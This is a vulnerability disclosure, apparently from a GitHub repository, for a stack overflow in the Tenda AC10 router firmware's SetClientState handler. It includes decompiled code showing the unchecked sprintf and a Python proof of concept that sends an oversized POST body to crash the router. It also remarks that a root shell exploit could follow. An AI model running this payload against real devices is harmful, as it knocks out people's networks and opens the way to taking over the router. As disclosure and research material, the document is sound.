z1r00 Update readme.md History

1 contributor

64 lines (41 sloc) | 1.77 KB ...

Tenda AC10V15.03.06.23 Stack overflow vulnerability

Firmware information

- Manufacturer's address：https://www.tenda.com.cn/
- Firmware download address ： https://www.tenda.com.cn/download/detail-2734.html

Affected version

Vulnerability details

```
int rule_id[3]; // [sp+258h] [+258h] BYREF

memset(buff, 0, sizeof(buff));
memset(ret_buf, 0, sizeof(ret_buf));
dev_id = websGetVar(wp, "deviceId", byte_50CF54);
limit_en = websGetVar(wp, "limitEn", "0");
dl_speed = websGetVar(wp, "limitSpeed", "0");
ul_speed = websGetVar(wp, "limitSpeedUp", "0");
if ( dev_id )
{
  if ( get_client_qosrule_id(dev_id, rule_id) == eRET_FAILURE_0 )
  {
    sprintf(ret_buf, "{\"errCode\":%d}", 1);
    websTransfer(wp, ret_buf);
  }
  else
  {
    if ( atoi(limit_en) )
    {
      v3 = atoi(limit_en);
      sprintf(buff, "%d;%s;%s;%s", v3, dev_id, ul_speed, dl_speed);// vuln overflow
      if ( modify_add_qos_rule(rule_id[0], buff) == eRET_MIN_0 && CommitCfm() )
        doSystemCmd("cfm Post netctrl %d?op=%d", 15, 6);
    }
```

/goform/SetClientState， The two variables ul_speed and dl_speed are user-controllable and will be spliced into the buff by sprintf. It is worth noting that there is no size check, which leads to a stack overflow vulnerability.

Poc

```
import socket
import os
```

```
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

ip = '192.168.0.1'
port = 80

r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

r.connect((ip, port))

rn = b'\r\n'

p1 = b'a' * 0x300
p2 = b'limitEn=1&deviceId=a&limitSpeedUp=a&limitSpeed=' + p1

p3 = b"POST /goform/SetClientState" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + r
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)
```

You can see the router crash, and finally we can write an exp to get a root shell